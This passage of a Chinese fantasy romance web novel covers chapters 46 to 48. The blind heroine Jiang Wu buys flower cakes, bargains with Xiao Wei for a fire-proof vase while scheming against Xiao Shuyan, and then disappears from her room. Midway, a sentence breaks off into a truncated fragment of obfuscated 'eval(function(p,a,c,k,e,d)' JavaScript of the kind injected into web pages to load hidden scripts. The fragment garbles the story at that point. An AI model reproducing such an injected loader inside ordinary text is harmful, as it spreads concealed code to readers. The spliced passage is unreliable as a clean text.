姜芜瓮声瓮气地说:“装得还有模有样的,几时了?” 萧舒延掐着姜芜的后颈将她转了过来。 姜芜有些不满地说:“怎么?玩了一晚上瞎子还没过瘾吗?” 萧舒延伸手弹了一下姜芜的眉心,“昨夜抱着我哭得要死要活的,缠着我不放,早上便开始发脾气?现下是卯时中,你可以再休息片刻。” 姜芜伸手把长发拢到身后,将脸埋入了手臂中,语气轻快,“当然是因为对你愧疚感都被你折腾殆尽啦。” 萧舒延闻言半压在姜芜身上,展开她半握的手,吻了吻她的手背和手心,“你不需要对我有愧疚,应当是我对你有愧。” 姜芜没有搭话,愧疚感却因为这句话而越积越多。 萧舒延从怀中取出一枚笛哨,“有事可用这个唤萧雨。”说完,他便塞进了姜芜的手心中。 姜芜把玩着手中的笛哨,“说好了不使唤她的,你怎么如此得心应手?” 萧舒延笑着揉了揉姜芜的头发,整理好衣裳后起身离开。 姜芜起身在床榻边坐了片刻,将放置在一旁的衣裳穿在身上,简单地洗漱整理一番便出了门。 雾沅蹙眉,“你要见萧蔚?为何?” 46. 引鱼 “自然是商讨明日之事,有疑虑吗?” 雾沅蹙眉,质问道:“睢羲也想要城主之位,你不帮他吗?” 姜芜有些疲惫地撑着额角,“你顾虑这么多,是怕我会杀了萧蔚还是怕我会临阵倒戈?” 雾沅被戳中了心事也不恼,大方承认道:“都怕,还忧虑你们让寂满去跃天门是何意。” 姜芜勾唇,“你可以同我一起,至于寂满一事,是他急于化龙,我也是给他提供了一个方法而已,不算是害他,而且谁又能保证螭吻所说便一定有用?” 雾沅面色凝重,埋怨着姜芜的不分轻重,“天门凶险,他修为不过千年,未免也太铤而走险了些。” 姜芜用指尖轻轻敲击着桌面,声音柔柔,“你怎么不知螭吻的方法是否铤而走险呢?天门凶险,尚且有一线生机,倘若从我这里算计谋划,你们当真是不怕死吗?” 雾沅垂眸,随后长长地叹了一息,“我带你去见萧蔚。” 姜芜说:“不必了,单独约她在荆州城内的客栈见面吧,今天气好,去城中走走,不要让萧无祸知晓。” 雾沅应了一声,抬手掐诀送了一道灵讯给萧蔚。 姜芜摸到面前的茶杯,低头抿着其中的热茶,静等着萧蔚的回信。 “回信了,巳时中望月楼,走吧。” 姜芜同雾沅一路出了荆州府,城内热闹非凡,临近晌午各处都是小吃的叫卖声,甜腻的气味充斥在大街小巷之中。 姜芜拿着手杖跟在雾沅的身后,她抬头四下嗅了嗅,“好甜的味道,是什么?” 雾沅回神,他看了一眼不远处的鲜花饼摊子,深深地吸了一口气,“前面有卖鲜花饼的,你要吃吗?” 姜芜笑着点了点头,她伸手扶上了雾沅的手臂,“可以买一些回去,我听说鲜花饼是荆州的特色,里面的馅儿是蜜糖腌制的花瓣。” 雾沅垂眸看了姜芜一眼,随后带着她去了摊前。 卖鲜花饼的摊主是位女郎,她见姜芜来到了摊钱,兴致冲冲地介绍道:“我们家的鲜花饼每日都是现做的,外皮酥脆,鲜花也是自己家的种的,腌制的花瓣不会超过两天,女郎要尝尝吗?” 姜芜点了点头,“鲜花饼一般都是以哪种花做馅?” “一般是蔷薇花做馅居多。”摊主这才发觉姜芜目不能视,便将一个鲜花饼用油纸包着放到了她的手中,“女郎您先尝尝,好吃再买也不迟。” 姜芜咬了一口鲜花饼,外皮酥脆,花馅软嫩鲜香,甜度适中,她抬手抹去唇角的碎皮,“包五斤的鲜花饼,多放几张点心纸,我回去要自己分。”说完,她从袖袋中取了碎银递给摊主。 雾沅问道:“为何要买这么多?” 姜芜把鲜花饼收进了自己的纳袋中,“人多啊,大家一起分一分也便不剩多少了。你要来一些吗?感觉收集一些仙霰雪花,做出来的也一定好吃。” 雾沅扶着姜芜的手臂,心中浮现出丝丝愧疚,“不了,我今日的话说重了,因为我非常担忧寂满,但是无论是螭吻大人的办法,亦或是跃天门都不是一个化龙的好途径。我朋友不多,寂满便是其中一个,所以我不能看着他犯险。” 姜芜问道:“螭吻有说为何让寂满着急化龙吗?” 雾沅长叹了一息,同姜芜缓缓说道:“并州有一大妖自立为王,联合羽族欺压长灵族,预备讨伐尊上。但是尊上被封印于昆仑山,无力掌管妖界,若是现下再出现一条龙便能震慑大荒。而寂满便是龙十子之中最有望化龙的,但是他的心不在修行上,所以只褪了一层皮。” 姜芜说:“我们并没有欺骗他,跃天门确实是化龙的途径。” 雾沅面色一僵,“我知晓天门一事,只是我同寂满从小交好,实在是无法看他涉险。若是当年得了机缘的是他该多好,这样他说不定距离化龙便只有一步之遥了。” 姜芜察觉到雾沅停下了脚步,便也跟着停了下来,“一直听你提起机缘此事,只是不知晓这是何种机缘?” “我也记不清了,那是我的千年大劫,已经被雷劫劈得不省人事,化为了原型,只记得是一个女子,在我面前絮絮叨叨地说着话,从那之后我便逐渐好了起来,我从未见过恩人的相貌,也不知恩人是何方神圣。”雾沅抬眸看向望月楼的牌匾,“我们到了,进去吧。” 姜芜说:“机缘这种东西可遇不可求,是你的便是你的,让不出去的。” 小二见两人进门,立刻迎了上去,“是萧女郎的客人吧,请跟我来,女郎已经在包厢等你们了。” 姜芜颔首,“麻烦带路。” 萧蔚刚冲好茶,小二便带着两人进了门,她勾唇轻笑,熟稔地说:“来了,请坐。”说完,她便往茶碗中倒茶,分别放在了对面的位置。 雾沅扶着姜芜在罗汉床上坐好,随后坐在了她的身侧。 萧蔚面上的笑容恰到好处,她的双眸温润柔和,语气也柔柔似春风,“不知这次寻我来是做何事呢?神神秘秘的,有何事是不能在府中谈的?” 姜芜说:“昨日萧女郎去寻了扶庭,冒犯之初还请女郎见谅。” 萧蔚抬眸看着姜芜,“怎会?姜女郎言重了,商道长单纯又可爱,何来冒犯之说?” “单纯又可爱?我看是蠢吧。”姜芜温和一笑,同萧蔚像是相识已久的好友一般,“否则也不会被人随意玩弄,以至于别人求他办事,都没有收些拜礼的。” 萧蔚面上一僵,“姜女郎这是何意?” 雾沅也有些不解地看向姜芜。 “未时末还请三公子派人将避火瓶送到我们院中,否则我们可便答应别人的合作了。”说完,姜芜端起茶碗低头抿了一口热茶。 荆州盛产生熟普洱,萧蔚冲了一壶熟茶,入口醇厚,茶汤鲜亮,有股淡淡的糯米清香,回甘持久,姜芜忍不住多喝了几口。 萧蔚忍俊不禁,“没想到姜女郎竟然也有这般强盗般的作风,事未成先收礼的,即便如此,一个孤女身份还有何好留恋的?不如大家坦诚?” “这礼嘛,你我不曾相识,我不收是因为情分,你们不送却是礼节不到位,口说无凭,空画张饼,也就是家里孩子小,不懂事,被你们哄着吃下去了。”姜芜放下茶杯,“我人就在这里,不如萧女郎来探一探,我是否是孤女?” “是嘛?我便不客气了。”说完,萧蔚闻言双眸一眯,黑色的瞳仁紧缩成一条竖线,右手抬起的瞬间,鲜红的指尖催发而出,她立刻出手袭向姜芜。 雾沅见状抬手将萧蔚的手打开,“不可。” 萧蔚轻吟一声,顺着雾沅的力道伏在了软垫上,眼神似埋怨般地看向了姜芜,“姜女郎,似乎有人不愿意你暴露身份呢。” 姜芜淡淡地一笑,“技不如人罢了,麻烦你同三公子摆正一下态度,盯着城主之位的人并不只有你们,还有其他人,而且是你来寻我们合作的,不拿出一些诚意来,怎么能体现出你们的决心呢?而且我们怎么知晓你们会不会卸磨杀驴,总不能让我们赔了夫人又折兵吧。” 萧蔚挑眉,“姜女郎如此深谋远虑,还会有这种顾虑吗?” 姜芜伸手拍了拍雾沅的手臂,“你出去等一下,我同萧女郎还有体己话要讲。” “你确定?” 姜芜点了点头。 雾沅迟疑了片刻,最终还是走了出去,反正他从未看清楚姜芜的意图。 萧蔚见雾沅出来,身子探向前,抬手掩住双唇,笑意暧昧,“其实从姜女郎进门之时我便察觉了,您身上的气味变了。” “是吗?”姜芜面色不变,“我倒是有一计,可以助你们除掉萧舒延。” 萧蔚闻言一愣,缓缓得收敛了脸上的笑容,“除掉萧舒延谈何容易?我们曾经下了一种慢性毒药入他的餐饮之中,谁知他福大命大,累积毒死一头牛的药量,却没有毒死他。” “你们可以将我抓去,放出消息引萧舒延前往,我想看看权力和我,他会选哪一个。”姜芜不屑地一笑,“不过,他选哪一个于我来说都没有坏处,若是他选权力,你们大可设埋伏杀掉他,若是他选我,还请三公子高抬贵手,放我们离开,我保证今生不会再出现在二位面前。” 萧蔚讶然,心中有一丝的触动,她久久得未曾出声。 姜芜也不急,静静地喝茶等着她。 萧蔚痴痴地笑了起来,“不过短短几日光阴,姜女郎竟也情根深种,非大公子不可了吗?” “我一个瞎眼孤女,无依无靠,能找到个贴心的人不容易。”姜芜神情故作羞赧,“而且大公子答应会治好我的眼睛,我今生无以为报,愿余生常伴他左右。” 萧蔚急急地追问,“若是大公子选了权力呢?你如此情深义重,忍心看他死吗?” 姜芜心中一痛,苦楚翻腾,原本设计同萧蔚周旋,现下却没了心情,只是敷衍道:“那是他的选择,我也有我的选择。” 萧蔚抬手抓紧了胸前的衣裳,脸上的笑容带了几分释然,“我知晓了,避火瓶一事我会同三郎转达,此计若成,我们会派人去劫姜女郎,万般请您不要受惊。” 姜芜颔首,“多谢。” 萧蔚看向姜芜的眼神多了几分殷切,已然将她当作了与自己同病相怜之人,“即便是如此,我也想提醒女郎一句,莫要太全身心的放在男人身上。” 姜芜面露惊讶,她轻挑眉毛,“既然如此,你又何必作茧自缚?” 萧蔚微笑,“因为我甘之如饴,并心甘情愿。三郎救过我,我会以命报之。”说完,她起身同姜芜作别,然后离开了望月楼。 雾沅在萧蔚走后进门,“你同她商议何事了?” 姜芜推开窗,侧身伏在窗棂上吹着风,听到雾沅如此问便回道:“不过是试探了一番痴情妖怪的心而已。” 雾沅蹙眉,心中也在为此事犯愁担忧,“按理来说,大荒之妖不该同人族苟合,这不合伦理。” “感情一事,是谁都随随便便控制得住的吗?”姜芜不以为然,“昨日荆州府内又出现挖心一事了吗?” 雾沅颔首,“有,鬼族人十分猖獗,死得是一个婢女。” 姜芜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从应看着沈确一脸惊恐的模样,杏眼中盛着满满当当的泪水,伸手给她擦掉眼泪,“哭什么?我有那么可怕吗?而且我也没对你做什么,你害怕吗?这么漂亮的眼睛可不能总是哭。” 沈确余光瞄到姜芜和雾沅从药铺前经过,立刻大喊大叫着挣开从应跑了出去,“姜芜!雾沅!救我!” 姜芜一脸诧异地伸手抱住冲进她怀中的沈确,“发生何事了?” 沈确神绪不定,不敢回头正眼去看从应,声音发颤,“那个人,那个人就是在万毒门外杀了李护法的人,他要杀我。” 雾沅面色一凛,抬眸看向从药铺中走出来的从应。 姜芜拍了拍沈确的后背,温声安抚道:“没事,别怕。” 从应看了一眼二人,面色阴晴不定,他闲逛了一上午好不容易找到了个乐子,便被两个不相干的人打断,心情有些不爽,但他也只是静静地盯着沈确看了片刻,随即转身离开。 姜芜问道:“那是谁?” 沈确摇了摇头,“我不知道。” 雾沅说:“一个很奇怪的人,看不出来历。” 姜芜揉了揉沈确的头发,确定了方才那人便是城中森森鬼气的源头,必定是鬼族人无疑了,只是不知晓他为何缠上了沈确。 “没事了,他走了,我们也回去吧。”说完,姜芜伸手拍了拍沈确的后背。 沈确闷声应着。 临近晌午,萧云准时带人出现在小院,将饭菜一一摆到了饭厅内。 姜芜坐在凉亭中,将鲜花饼平等的分成了六份。 萧云朝着姜芜走了过来,“女郎,晌午了该吃饭了。” 姜芜拿起两包鲜花饼递给了萧云,“鲜花饼,今日刚买的,尝尝?” 萧云看着姜芜手中的鲜花饼,并没有第一时间接过而是试探地开口,“是我一份,大人一份吗?” 姜芜脸上带着和煦的笑容,“他可能不太喜欢,你若是喜欢都吃了吧。” 萧云笑了起来,她俯身把姜芜拉了起来,“女郎同我去大人那吧,他忙了一上午了都没来得及吃东西,茶水也很少喝,刚好女郎过去,可以同大人一起吃午饭。” 姜芜讶然,笑得有些无奈,“他又不是小孩子,饿了渴了肯定会自己去吃的。” 萧云面露不解,央求道:“难道女郎不想把点心亲自送给大人吗?走吧,您便同我去吧,大人见到您肯定会高兴的。若您还有其他事,吃过午饭,我再送您回来。” 姜芜被萧云磨得没脾气,扬声道:“雾沅,鲜花饼我已经分好了,你记得分给他们。” 萧云搀扶着姜芜疾行了一路,不住地提醒脚下的路况,心中是按捺不住地高兴,将她送进萧舒延的房间后,拿了属于自己的那份鲜花饼便急匆匆地走到了正厅。 萧舒延一行人正在为明日下葬一事做商定,萧云快步上前在他身侧附耳几句。 萧舒延神情不变,将手中的册子放在一旁,开口道:“时辰不早了,便先到这里吧,剩余的下午再讨论。” 萧高瞻灌了一口凉茶,扯着自己的衣襟散热,“也好也好,我快饿死了。” 萧无祸将手中的册子一扔,随即冷笑了一声。 萧高瞻不动声色地看着萧无祸,唇边带着意味不明地笑,“怎么了?三弟,有何高兴的事情?” 萧无祸并没有回萧高瞻的话,反手搭在了萧蔚覆在轮椅靠背的手上,“萧蔚,今日出去同姜女郎谈得如何?” 47. 心喜 萧蔚抬眸,笑吟吟地看了萧高瞻一眼,“没什么呢,姜女郎也是个一往情深的痴情人呢。” 萧无祸嗤笑一声,“她对谁一往情深?我大哥吗?像我大哥那样的人居然也会有人对他一往情深吗?那可太有意思了。” 萧蔚笑着朝萧无祸眨了眨眼睛,“我也是这么觉得的,而且刚刚姜女郎过来了呢,他们二人也算是一见钟情了,进展迅速呢。” 萧无祸恍然大悟,“怪不得呢,那我们也回去休息片刻吧,估摸着一时半会是无法再商议下去了。” 萧高瞻欲言又止地看着萧无祸,没有制止二人的离开。 姜芜坐在桌前拨弄着鲜花饼包裹的系带,突然被人从身后抱住,她神情一惊,安定下来后反手摸了摸萧舒延的墨发,“听说你一上午没有喝水吃饭?平时无所谓,现下身体受得住?” “濯濯。” “嗯?” 姜芜伸手摸到了萧舒延发干的双唇,摸索着去拿桌上的茶壶,“要喝水吗?谈论了一上午不觉得口干吗?” “不渴,濯濯,我很开心。”萧舒延说,“这么长时间了,这是你第一次主动来找我。” 姜芜神情一愣,解开绳结,从油纸包里取了一枚鲜花饼递给萧舒延,“鲜花饼,尝尝吗?里面是用蔷薇花瓣做得馅儿。” 萧舒延起身,伸手接过鲜花饼,让婢女将饭菜端了上来,“饿了吗?中午煮了海鲜粥。” “是柏雨拉我来的,我才不想来找你呢。”姜芜捻着桌布上的穗子,“跟你在一处,总是忘记要做正事,两个孩子年纪小,不懂事,要被人花言巧语骗得裤子都没了。” 萧舒延吃完鲜花饼,饮茶将口中甜腻味道冲淡,“你很在乎这些新交的朋友?” 姜芜反问道:“朋友不就是用来在乎的吗?” 萧舒延评价道:“心大。” 姜芜笑着摸到了萧舒延的手掌,“人族说拳头跟心脏大小差不多,这么一看你的心脏比我大很多啊。不过也好,我在里面住得舒服、宽敞。” 萧舒延唇角浮现出一丝笑意,“何种正事?濯濯,有话可以直接说,有需要也可以开口提。” 姜芜蹙眉,神情有些无奈,她静等着饭菜上齐,所有人都退了下去才开口。 “要猜猜吗?” 萧舒延取了汤勺盛粥,“猜不到,是因为避火瓶一事吗?” 姜芜单手撑着下颌,“才不是呢。” 萧舒延猜不透姜芜心中所想,便耐着心思继续问道:“那是为何?” 姜芜勾着唇,“可能就是没话找话,随口抱怨几句吧,实际是想让你疼疼我,这也算是一种情趣吧,也省得你总是多想,为了一些不起眼的小事而开心。” 萧高瞻准备在萧舒延这里蹭顿午饭,刚走到门口便听到姜芜这么一句话,顿时愣在了原地,心中有些好奇他平日里不苟言笑的大哥会怎样答复,也便没有惊动二人,站在二人的视线盲区偷听。 萧舒延抬眸看了姜芜一眼,“你想我怎么疼你?” 姜芜故作惊讶,她抬手掩唇,她放缓了声音,惊叹道:“啊,萧郎不知该如何疼人啊?” 萧舒延双眸一瞬不瞬地盯着姜芜,听着她刻意压低的声音,略带哑色,像是她用指甲轻挠着自己的掌心,偏偏她还要做个正人君子。 萧高瞻清了清嗓子,打断了两人之间的谈话,扬声道:“哥,给我加一份碗筷。” 萧高瞻喊完以后才敢蹑手蹑脚地向里走去。 姜芜坐直身体,手指有所留恋地从萧舒延的手背上划走,“哎,真是不礼貌。” 萧高瞻脚步一顿,瞠目结舌地看着姜芜,反复在心里确认不礼貌的人是不是他,片刻后他便接受了这个事实,神情变得萎靡起来。 “打扰你们了,我去问问还有没有多余的饭菜。” 姜芜开口道:“不用了,在这吃吧。” 萧高瞻试探性地看了一眼萧舒延,得到后者的同意后便找地方坐了下来,笑嘻嘻地说:“小嫂嫂,你人真好。” “小嫂嫂?”姜芜对这个称呼感到新奇,她从未想过会有这么一天被半大的孩子称为“小嫂嫂”。 萧高瞻颔首,“对啊,你看起来很年轻啊,感觉比我都小好多岁,小嫂嫂也知晓我们是修道之人吧,不能以外貌论年龄,如果是年龄论外貌的话,我现在应该是个没有牙齿的老爷爷。” 姜芜仔细思考了一番萧高瞻这个比喻,如果论年龄的话,她也许已经化成灰,被风吹散了。 “吃饭。” 萧舒延舀了半勺海鲜粥,试了试温度后递到了姜芜的唇边。 姜芜张口喝下,虾仁与扇贝处理得很好,在保留了鲜味的同时没有一丝腥味,融在软软糯糯的咸米汤之中。 “好喝。” 萧舒延目光变柔和,“那便多喝一些。” 萧高瞻开口问道:“方才便发现了小嫂嫂的眼睛是?” 姜芜说:“过段时间便好了,只是中了毒而已。” 萧高瞻面色冷峻,“中毒?” 萧舒延倏地看向了萧高瞻,随即不动声色地摇了摇头。 姜芜伸手抚了抚自己的双眸,“逃亡路上不小心而已,不碍事。” 萧高瞻欲言又止地看着姜芜,但是在萧舒延的眼神震慑下一句话都未说,只是一个劲地低头吃饭,饱腹之后便迅速离开了。 姜芜吃完最后一口粥,开口问道:“他走已经走了,你还不打算说实话吗?” 萧舒延执筷的手一顿,他看了姜芜一眼,然后将筷子放置在陶瓷筷置上,“中毒一事吗?” “你从前不是不喜欢这种过家家的游戏吗?”姜芜伸手放在萧舒延的膝头,轻轻地点了点,“我原本以为只有我对人族的情感有兴趣呢,毕竟我之前想体验很多经历,现下也是。” 萧舒延反问道:“有弟弟不好吗?” “好呀,刚刚那个小孩好有意思。”姜芜笑着说,“但转移话题并不是逃避问题的好办法哦。” 萧舒延低头吃着菜,直到驱散了那种名为饥饿的不适感后才开口,“是萧无祸给萧舒延下的毒,萧舒延便是死于那种慢性毒,所以才让我有机可乘。” 姜芜蹙眉,面色凝重,“这一切多少有些巧合了,这种犯困便有人递枕头的事情,你要小心为妙哦。” “但这就是一个巧合,萧家很乱。” 萧舒延抬起姜芜的双腿放置在了自己的膝头,施力轻轻按揉着,“身上有不舒服的地方吗?” 姜芜勾起唇角,“如果眼睛能看到的话,便没有不舒服的地方了。” 萧舒延伸手抚过姜芜的双眸。 姜芜偏过头躲开萧舒延的触碰,哼笑了一声,“昨夜可真是对你心疼过头了,你也是懂怎么拿捏我的,治好我的眼睛不过是挥挥手的事情,你反而用噬魂骨钉把自己封印了,你就如此不想我能看见吗?” 萧舒延手指一顿,随即缓缓得收了回来,“了解人族的情感,所以也要了解他们的狠心吗?你不信我昨夜的所作所为?你想恢复光明?为何不借助天书的力量?” 姜芜听得出萧舒延声音中的失落,她摸索至后者放在她腿上的手,却被他不着痕迹地躲过。 “哇,好坏的脾气啊,哪里学来的?说到天书,谁成想你竟然学了越迦柯,做了这等附身之事,是从天书中学的吗?” 萧舒延见姜芜的手在半空中毫无规律摸索,便抬手抓进了掌心中,“在萧舒延的记忆中。” 姜芜问道:“如何?他是怎样一个人?” “一个很懂事的孩子。”萧舒延说,“他的母亲同父亲萧魁是青梅竹马,因为名不正言不顺,所以只能私下里见面,萧家为了自己的目的,让萧魁迎娶了无祸和阿妺的母亲,但是萧舒延的母亲当时已经怀有高瞻,萧家无奈之下只能将他母亲娶进门做妾室。他的母亲是个非常知书达礼的女人,婚后很少与萧魁亲近,经常劝告着他莫要怠慢了新婚妻子。” 姜芜抿唇,心中觉得有些惋惜,“萧魁没有同家里抗争吗?就这样辜负了两个女人吗?” 萧舒延伸手把姜芜抱到了腿上,“我记得舒延的母亲曾说过这么一句话,‘人生大事本就是父母之命,媒妁之言,我不愿意你做那不忠不孝,不仁不义之人,被后世所不耻。你我本就有缘无分,况且目前的缘分是强求而来,何苦要牵扯进别人来?’,人族实在是给自己制造了太多没有必要的枷锁与累赘。” 姜芜咬了咬自己的指关节,面色愁苦,“强求而来的缘分怎么不叫缘分?” 萧舒延摩擦着姜芜的脸颊,“无祸母亲家族地位特殊,不会让主君做出宠妻灭妾之事。所以舒延母亲的处境也是举步维艰,好在舒延这孩子争气,自从能够引气入体之后便刻苦修炼,为得便是能让母亲有一天能够不受主母欺压。” 姜芜语气有些惋惜,“这么努力勤奋的一个孩子,居然因为城主之位被自己的同父异母的弟弟下毒迫害死了。” 萧舒延从怀中取出了一个瓷瓶,他咬开塞封,动作强硬地灌到了姜芜的口中,“都吞下去,别浪费了。我研究过隋垂枝身上的毒,当初袁星月利用天书捉了不少小修罗,将他们折磨至死,并以蛊虫为媒介吞噬掉他们的血肉,将那些蛊虫压榨出汁水,这便是所谓的与修罗血液相似的毒,经过戚诃的研究再由那些蛊虫去撕咬其他人,最终只活下了隋垂枝一人,成为了万毒门的圣女。” 姜芜强忍着不适,将瓶中的血液都吞了下去,并舔舐干净方才因挣扎而溅在唇边的血珠,“然后呢?” 萧舒延垂眸看着姜芜殷红的双唇,“然后?你当初不应该把那些石头编进手绳中送给我。你对修罗血液的腐蚀性免疫,所以便只能用我的血去分解、吞噬掉那些蛊毒,过了今夜,明日也许便能恢复视力了。” 萧舒延将姜芜不语,便取了帕子擦干净了她唇上的血液,“而且是你说不需要强身健体的汤药了,便只能这么喝了。” “听你的语气是在埋怨我吗?” “没有。” 姜芜幽幽地叹了口气,“冤家啊,居然不让我疼疼你。” 沈确看着雾沅递过来的两包鲜花饼,随即抬眸看向他,“这是姜芜送的吗?” 雾沅颔首。 沈确伸手接过那两包鲜花饼,她看着雾沅手中的另一个纸包,以及不远处的寂满正在吃的鲜花饼,“她这是给所有人都准备了一份吗?” 寂满将鲜花饼的酥皮全部掰了下来,然后将桃红色的馅料丢进了口中,随即咧嘴说:“真的好甜啊。” 雾沅对寂满说:“这种点心要一起吃才不会腻。” 沈确伸手递给了商扶庭一份,然后快速将绳结抽开,迫不及待地取了一块鲜花饼来 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从应张开双臂飞身后跃到屋顶之上,“人族修士,并不是我的对手哦。整个萧府都没有我的对手,更何况你一个区区金丹呢?” 一条骨鞭破空而来,从应迅速张开鬼气抵挡,骨鞭直接劈开了漆黑的气团,从应大惊,连连后退几步稳住身形。 萧舒延收回骨鞭,落身于从应对面的屋顶。 从应不解地看向对面,“萧舒延,你的修为精进这么快吗?” 萧舒延开口道:“两个选择,死还是活?” “死还是活?”从应笑了起来,他展开浑身的鬼气直扑萧舒延,“你能决定我的生死吗?” 萧舒延对从应的挑衅不屑一顾,他甩手将长鞭化做一柄剔透的骨制长弓,以修为化箭矢,连拉三箭,松手之后箭矢恍若有生命一般,追逐夹击着从应。 “什么?” 从应旋身躲避,箭矢仿佛锁定了他,如影随形。 萧舒延将骨弓重新化作长鞭收进了广袖之中。 从应暗骂一声,他用鬼气包裹住箭矢,勉力将它们折断,箭矢反弹直接崩裂他虎口处的皮肤。 萧舒延挑眉,重复道:“死还是活?” 从应面色狠厉地看着萧舒延,接着怒极反笑,“今日是我大意了,下次定和你战个三天三夜。”说完,他以鬼气做遮掩,迅速离开了萧府。 萧舒延从屋顶跃下,“让各位受惊了。” 商扶庭持剑抱拳,“幸得萧师兄相助,只是方才听那人说把挖心一事按在了鬼族人头上,这是怎么回事?” 萧舒延扫了商扶庭一眼,声色冷淡,“商师弟还信鬼族人片面之词?” 商扶庭蹙眉,“自然是不信的,只是见这几次府内常有被挖心者,但是萧家似乎并不打算处理此事,甚至连应对之策都没有,不免有些担忧。若是府中人手不够,我也是可以帮忙的。” 萧舒延说:“不必了,家父生前最挂心的便是城内挖心一事,我自然不会让他在天之灵还为此烦心。至于商师弟,以你的修为还是多多担忧一下自己吧,莫要牵扯过多,以至于在这里丢了性命,比如那些该管的不该管的,你都要插一脚?” 沈确一愣,有些不解地看向萧舒延,“为何如此说我师兄?” 商扶庭心中疑惑,不知晓萧舒延对于他的敌意和怒火是从何而来,他自觉这几日安分守己,并没有做出让主人家不快的事情,后者此番话一出,难免让他面上有些挂不住。 萧舒延面无表情地看了沈确一眼,随即转身欲走,他身形一顿,“商师弟之前说过要修补无幻之境的结界,现下还缺哪些材料?” 商扶庭如实道:“天河之水和五彩之石。” 萧舒延蹙眉,想起血契中的内容,一字一顿道:“五彩之石?” 沈确开口道:“女娲娘娘补天之时用的便是五彩之石,传闻这五彩之石晶莹通透,至臻至纯,蕴含无上混沌之气,是炼器师都想要得到的材料。萧氏以炼器闻名,不知萧师兄是否知晓五彩之石的下落,可否告知?” 萧舒延若有所思地摇首,“不,我并不知晓。五彩之石自娲皇补天之后便再也没有现世过,怕是娲皇全部用于补天,以至于五彩之石后续再无踪迹,你们此行大抵是要白忙了。” 沈确抬眸看向商扶庭,“师兄,这该如何是好?” 商扶庭也是一副愁眉不展的模样,“我也不知晓,但既然师门写明了如此,那五彩之石必定存在于世,总之先拿到天河之水吧,最起码可以先救助天都东城的百姓,后续看师门如何安排吧。”说完,他上前将沈确的掉落的长生锁捡起还给了她。 沈确神情一惊,伸手摸了摸自己的襟口,然后将长生锁接了过来,“好险,谢谢师兄。” 商扶庭颔首,“收好,否则离魂症又要发作了。” 寂满见萧舒延走后上前站到了商扶庭的身侧,他扬了扬下颌,“你惹到他了?” 商扶庭若有所思地抬头看着萧舒延离开的方向,随后无奈地摇了摇头,“并无。” 寂满摸了摸自己的下颌,“奇了怪了,他为何说话如此让人不适?” 雾沅长叹了一息,庆幸方才寂满没有上前,凭着萧舒延的架势,必定也会让寂满难堪。 萧蔚唇角带笑,抚着胸口走了进来,“好险啊,怎么会有鬼族人进来呢?” 48. 牢笼 姜芜回到小院之时发觉气氛有些凝重,雾沅听到声音从房中出来,将她引到了正厅。 “发生何事了?” 商扶庭开口道:“是你让萧蔚送避火瓶来的?” 姜芜坐定,伸手接过雾沅递来的热茶,唇角浮现出一丝笑意,“已经送过来了吗?看来他们还挺守信用。” 商扶庭伸手将避火瓶推到了姜芜面前。 避火瓶整体呈现出琉璃青色,不过手掌大的瓶子,传闻中却能容纳神火,繁冗凸起的花纹呈现出一种流光溢彩的质地。 姜芜伸手放在避火瓶上,笑着说:“既然达成合作,自然要收一点小小的定金,一只避火瓶而已。况且我们此次合作有自己的打算,当然要先将避火瓶搞到手,以防止我们‘临阵倒戈’后‘血本无归’,本来我们便是为了避火瓶而来,这样做事半功倍,还是说你舍不得那十年的法器。” 商扶庭立刻否认,他垂下双眸,“自然不是,只是觉得这样不好。” “非黑即白的想法很好。”说完,姜芜便将体内的顒鸟精火全部引入了避火瓶之中,原本死气沉沉的避火瓶在纳入顒鸟精火之后越发得鲜活,甚至有顒鸟精魄萦绕于其中。 随着顒鸟精火逐渐灌入避火瓶中,姜芜感受到了前所未有的轻松,经脉内壁不再有灼烧和钝痛感,稀薄的戾气在体内运转着,修复着损伤的经脉,让她如释重负。 商扶庭伸手拿起了避火瓶,瓶身依旧触手冰凉,没有任何灼热滚烫的趋向,忍不住感叹道:“不愧是闻名天下的避火瓶。” 姜芜垂眸抿了口热茶,眉心微不可查地一蹙,总觉得口感不如望月楼的熟普,“收起来吧。” 商扶庭将避火瓶收入了纳戒之中,“若木之根,你欲如何?” 姜芜放下茶杯,正准备开口,却被寂满抢了先。 “你们发现没,睢羲和他那两个打手,似乎很久没来找我们麻烦了。” 姜芜挑眉,“怎么?你不习惯?” 寂满大惊,他立刻摇了摇头,“怎么会?我身上崩得鳞片到现在还没长齐呢?我只是觉得有些奇怪,他在万毒门时那么想带你走,现下却没了动静,我怕他憋个大的。当初还打算借到避火瓶便走呢,现下直接因为避火瓶而留下了。” 姜芜说:“左右不过再等一日光景,明日便是萧魁下葬之日,到时候所有的一切都能尘埃落定了。” 寂满兴致冲冲地给所有人的茶杯中倒满水,笑得谄媚,“各位大能、各位道长,到时候去河津帮我化龙吧。” 商扶庭颔首,“这是自然,只是听说跃天门凶险,你可有保命的法宝。” 寂满拍了拍自己的肩膀,神情骄傲,“我身上的鳞片便是这世上最坚硬的护体法宝。” 姜芜说:“去试试看吧,我也不知晓天门威力有多大。” 日头偏西,春风发凉。 雾沅伸手敲了敲姜芜的房门,“该吃饭了。”说完,他便静等了片刻,见无人应声后再次敲响房门。 “姜芜?” 萧云闻声走了过来,“姜女郎没在房间吗?我进去看看吧。” 雾沅点了点头,“劳烦了女使。” 萧云推门而入,目所能及之处是各类倾倒的家具和破碎的瓷器,她暗觉不好快步朝内间走去,床榻上也没有姜芜的身影。 萧云急忙走了出来,“姜女郎下午有外出吗?” 雾沅蹙眉,“并无,发生何事了?” “情况不容乐观,房间内很乱,姜女郎可能被人劫持了,我需要去同大人讲此事,你们最好在附近找找。若找到人了,尽快派人通知我。”说完,萧云便神情焦急地快步离开了。 寂满听到声响,端着饭碗从正厅走了出来,一脸茫然地问道:“发生什么了?” “姜芜失踪了。” 雾沅神情凝重,突然想起上午姜芜同萧蔚的秘密谈话,急步走了出去。 寂满扒饭的手一顿,含糊不清地说:“哎哎哎,走那么快干嘛,你想起什么了?” 沈确问道:“发生何事了?” 寂满回头看向两人,将口中的米饭咽了下去,“他们说姜芜不见了。” 商扶庭迅速提起太初剑走了出去,“你们两个待在这里,哪里都不要去,如果姜芜回来立刻传音于我。” 沈确说:“他们一个两个的为何如此莽撞?不想想姜芜会去哪里吗?就这样像一只无头苍蝇一般乱转?” 寂满大吃了几口饭菜,不以为然地说:“就是,姜芜是谁啊,修罗哎,谁能奈何得了她?” 雾沅顺着萧蔚的气息迅速追踪了过去。 